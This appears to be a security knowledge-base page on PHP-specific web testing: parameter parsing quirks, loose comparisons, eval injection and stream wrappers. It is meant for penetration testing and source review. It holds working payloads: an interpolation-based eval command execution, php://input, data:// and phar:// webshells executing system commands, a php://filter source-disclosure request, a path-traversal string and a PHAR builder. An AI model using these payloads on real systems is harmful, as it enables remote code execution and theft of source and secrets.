Knowledge tree
On this page

PHP Web Testing

PHP-specific request parsing, loose comparison, dynamic evaluation, and stream-wrapper behaviors useful during web application testing.
Updated 25 Aug 2026

Identifying PHP in an application adds probes that depend on the runtime and on how PHP transforms data before application logic sees it. Parameter parsing can turn an HTTP value into an array, different parameter names can converge on the same key, a loose comparison can change with the operand types, and a controllable path can resolve through a stream wrapper instead of a local file.

These behaviors are particularly useful during source review, but many can also be observed black-box by comparing requests that differ only in input representation.

Request parsing

Values received through GET or form data normally arrive in PHP as strings. The parameter name can still construct arrays and nested structures.

Scalars and arrays

A minimal endpoint:

<?php

var_dump($_GET['role'] ?? null);

receives a scalar with:

GET /?role=admin HTTP/1.1
Host: target
string(5) "admin"

Bracket notation changes the resulting type:

GET /?role[]=admin HTTP/1.1
Host: target
array(1) {
  [0]=>
  string(5) "admin"
}

Keys can also be created explicitly:

GET /?role[level]=admin HTTP/1.1
Host: target
array(1) {
  ["level"]=>
  string(5) "admin"
}

When a value crosses validation, authorization, comparison, or a function that expects a scalar, variations such as these are worth testing:

id=1
id[]=1
id[x]=1

Duplicate parameters and scalar-array collisions

PHP also has to resolve repeated parameters. With the PHP 8.4.23 parser:

role=user&role=admin
→ role = "admin"

Explicit array syntax preserves both values:

role[]=user&role[]=admin
→ role = ["user", "admin"]

Mixing the representations changes both the value and the final type:

role=user&role[]=admin
→ role = ["admin"]

The reverse order produces:

role[]=admin&role=user
→ role = "user"

A small probe set covers the main combinations:

param=a&param=b
param=a&param[]=b
param[]=a&param=b
param[]=a&param[]=b

This becomes especially interesting when a proxy, WAF, framework, or validation layer interprets parameters before PHP builds $_GET or $_POST. If those layers select occurrences differently, the value being checked may differ from the value eventually used by the application.

Parameter name normalization

PHP modifies some external variable names before exposing them to application code.

Dots and spaces are converted to underscores:

user.name=guest

becomes accessible as:

$_GET['user_name']

This creates collisions between distinct HTTP names:

user.name=guest&user_name=admin

that converge on the same PHP key.

Bracket notation has another relevant behavior. When an external variable name starts with valid array syntax, trailing characters can be ignored:

foo[bar]suffix=value

is interpreted as:

$_GET['foo']['bar'] === 'value'

These cases matter when one layer filters or validates the original parameter name while another consumes the normalized PHP representation.

$_REQUEST precedence

$_GET and $_POST keep their sources separate. $_REQUEST can combine GET, POST, and, depending on configuration, cookies.

If the code uses:

<?php

$role = $_REQUEST['role'];

send different values through different sources:

POST /action?role=user HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

role=admin

The effective value depends on request_order and, when it is unset, variables_order. PHP registers sources from left to right and later values overwrite earlier ones.

This probe is useful when code relies on $_REQUEST, when multiple layers construct parameters from different sources, or when the expected origin of a value is unclear.

Loose comparisons

PHP provides strict and non-strict comparisons:

$value == $expected;
$value === $expected;

=== requires both value and type to match. == may coerce operands before comparing them.

PHP 8 changed several historical rules, particularly number-to-non-numeric-string comparisons:

PHP 7.x
0 == "foo"
→ true

PHP 8+
0 == "foo"
→ false

That change removed several classic payloads. Numeric strings and other coercive comparisons remain relevant.

Numeric strings and magic hashes

When two strings are valid numeric strings, a loose comparison can compare them numerically.

<?php

var_dump("0e123" == "000");
var_dump("2e1" == "020");
bool(true)
bool(true)

The e can represent scientific notation:

0e123 → 0 × 10^123 → 0
2e1   → 2 × 10^1   → 20

This keeps the magic hash family of issues relevant when code loosely compares values with a compatible representation.

Two classic MD5 inputs produce different hashes:

<?php

$a = md5('240610708');
$b = md5('QNKCDZO');

var_dump($a);
var_dump($b);
var_dump($a == $b);
var_dump($a === $b);
string(32) "0e462097431906509019562988736854"
string(32) "0e830400451993494058024219903391"
bool(true)
bool(false)

The probe only matters if the values reach a non-strict comparison and both operands are interpreted as compatible numeric strings. A hash starting with 0e is not a bypass by itself.

During source review, pay attention to == and != around hashes, tokens, identifiers, and values produced by transformations.

Loose membership checks

Some APIs still use loose comparison by default.

<?php

$allowed = [0];

var_dump(in_array('0', $allowed));
var_dump(in_array('0', $allowed, true));
bool(true)
bool(false)

Without the third argument set to true, in_array() performs a non-strict comparison.

PHP 8 removed some historical edge cases through the new string-number rules, but strict=false still permits coercion. Source review should therefore cover both comparison operators and APIs that perform equivalent comparisons internally.

Falsey values and sentinel returns

Some PHP constructs treat apparently valid values as falsey.

empty("0")

returns:

true

Other functions use false as a sentinel while also being able to return the valid integer 0.

strpos() returns the match position starting at zero, or false when no match exists. Code such as:

<?php

if (strpos($input, '../') == false) {
    process($input);
}

can confuse both states.

With:

../etc/passwd

the blocked substring appears at position zero:

strpos('../etc/passwd', '../')
int(0)

and:

0 == false

is true.

The same mistake appears in patterns such as:

if (!strpos($input, '../')) {
    ...
}

Whenever a PHP API can return 0 or false, inspect how the caller consumes the result before assuming those states are distinguished.

Historical: password[]= + strcmp() before PHP 8

A classic bypass combined PHP array parsing with the historical behavior of internal functions.

Vulnerable code:

<?php

if (strcmp($_POST['password'], $PASS) == 0) {
    login();
}

The request:

POST /login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

password[]=

made PHP expose an array:

$_POST['password']
 array()

Before PHP 8, many internal functions handled invalid argument types by emitting a warning and returning NULL. The exploitable chain was:

password[]=

array()

strcmp(array(), $PASS)

warning + NULL

NULL == 0

true

PHP 8 made these type errors consistent. strcmp() expects strings, and passing an array now throws a TypeError.

PHP < 8
array → strcmp() → NULL → possible bypass

PHP 8+
array → strcmp() → TypeError

password[]= remains a useful probe for observing how an application handles a scalar-to-array transition. The specific strcmp() → NULL bypass belongs to pre-PHP-8 behavior.

Dynamic evaluation

eval() interprets a string as PHP code. When part of that string is user-controlled, exploitability depends on the final code received by the parser.

input

transformations

generated PHP

eval()

PHP parser

Generated-code context

Consider:

<?php

$input = $_GET['param'] ?? '';
$code = '$value = "' . $input . '";';

eval($code);

The input is not simply inserted into an eval. It lands inside a double-quoted PHP string that is itself part of generated code.

Before building a payload, reconstruct that exact context: delimiters, concatenations, transformations, and the grammar that remains valid after them.

addslashes() and string interpolation

addslashes() adds backslashes before:

'
"
\
NUL

It does not transform $, {, or }, which participate in PHP string interpolation.

With:

<?php

$input = addslashes($_GET['param'] ?? '');
$code = '$value = "' . $input . '";';

eval($code);

a variant reproduced on PHP 8.4.23 is:

GET /?param={${system($_GET[1])}}&1=id HTTP/1.1
Host: target

The generated code contains:

$value = "{${system($_GET[1])}}";

The system($_GET[1]) expression is evaluated while PHP resolves the variable variable inside the interpolated string. The command executes even though a warning may follow because the return value of system() is also used as a variable name.

The numeric index avoids relying on bareword array keys such as $_GET[cmd], which are treated as undefined constants and fail on PHP 8.

The older interpolation form:

"${expression}"

was deprecated in PHP 8.2. The construction above uses the powerful {$...} form with a nested variable variable:

"{${expression}}"

The condition remains specific: controlled data must land inside an interpolated string that is subsequently evaluated. Single quotes, different concatenation, or other transformations change the grammar and require a different payload.

The useful question around addslashes() is which characters it transforms and which valid PHP syntax survives those transformations.

Stream wrappers

Many PHP filesystem functions operate on streams. A value that looks like a filename can resolve through a scheme:

scheme://...

When a path is user-controlled, testing only local paths leaves PHP-specific behavior unexplored. The useful wrapper depends on the sink: include(), file_get_contents(), fopen(), file(), copy(), and related operations do not consume streams in the same way.

php://filter

php://filter applies filters to a stream as it is opened.

Given:

<?php

include($_GET['page']);

a common probe is:

GET /?page=php://filter/convert.base64-encode/resource=/var/www/html/config.php HTTP/1.1
Host: target

Instead of handing config.php directly to the PHP parser, the wrapper passes its bytes through Base64 encoding first.

An interesting response looks like:

PD9waHAKJGRiX3VzZXIgPSAn...

Decoding it recovers the original source.

The offensive value is the ability to transform a file before the sink consumes it. With an include sink, that can disclose source that a direct inclusion would otherwise execute.

php://filter is not restricted by allow_url_fopen.

php://input

php://input exposes the raw HTTP request body as a read-only stream.

If an application controls an include argument:

<?php

include($_GET['page']);

and configuration permits this stream to be included, the request body can become the resource contents:

POST /?page=php://input HTTP/1.1
Host: target
Content-Type: text/plain

<?php system($_GET['cmd']); ?>

with:

?cmd=id

php://input is subject to allow_url_include when used through include or require. It is also unavailable for multipart/form-data requests when enable_post_data_reading is enabled.

data://

data:// represents data directly in the URI.

With the same sink:

include($_GET['page']);

a resource can look like:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

The Base64 represents:

<?php system($_GET['cmd']); ?>

and the request can append:

&cmd=id

data:// is restricted by both allow_url_fopen and allow_url_include. allow_url_include is disabled by default and has been deprecated since PHP 7.4, so this technique depends on configuration that should not be assumed.

phar://

phar:// exposes members inside a PHP Archive (PHAR) through PHP’s stream system.

An archive can contain:

payload.phar
payload.phar
└── payload.php

and the internal member can be addressed as:

phar:///tmp/payload.phar/payload.php

A minimal PHAR can be prepared on the tester machine:

<?php

$phar = new Phar('payload.phar');

$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar['payload.php'] = <<<'PHP'
<?php system($_GET['cmd']); ?>
PHP;

$phar->stopBuffering();

Creating the archive requires PHAR writes to be enabled in that environment:

php -d phar.readonly=0 build.php

That directive affects archive creation, not reading the resulting file on the target.

If the application can place the file on disk and a controllable include exists:

<?php

include($_GET['page']);

the probe can address the internal member:

GET /?page=phar:///var/www/uploads/payload.phar/payload.php&cmd=id HTTP/1.1
Host: target

phar:// is not restricted by allow_url_fopen or allow_url_include.

The outer filename does not necessarily reveal the underlying format. In a PHP 8.4.23 reproduction, the same PHAR bytes renamed to:

avatar.jpg

remained accessible through:

include 'phar:///tmp/avatar.jpg/payload.php';

and the internal PHP member executed.

The useful condition is therefore:

attacker-controlled file on disk
             +
controllable path/include sink

phar://uploaded-file/internal-member

An arbitrary upload is not enough. A valid archive, a reachable local path, and a sink that performs a useful operation on the stream are all required.

Historical: automatic PHAR metadata deserialization before PHP 8

phar:// also appears in offensive material because of a separate technique: automatic metadata deserialization.

Before PHP 8, certain filesystem operations on a PHAR could automatically deserialize archive metadata:

attacker-controlled PHAR

file_exists("phar://...")

automatic unserialize(metadata)

object instantiation

magic methods / gadget chain

The important property was that the application did not need an explicit unserialize() call.

PHP 8 removed that automatic behavior. Opening or inspecting a PHAR through the stream wrapper no longer deserializes metadata by itself. Deserialization can still occur when code explicitly calls:

$phar->getMetadata();

Phar::getMetadata() currently warns that accessing metadata can trigger deserialization and therefore code execution through available objects.

Full analysis of unserialize(), magic methods, and gadget chains belongs in a future PHP Object Injection Note.

Complete LFI/RFI exploitation, upload chains, log or session poisoning, and broader inclusion workflows belong in a dedicated File Inclusion Note. The relevant point here is the additional semantics PHP introduces when user input reaches path or stream operations.

References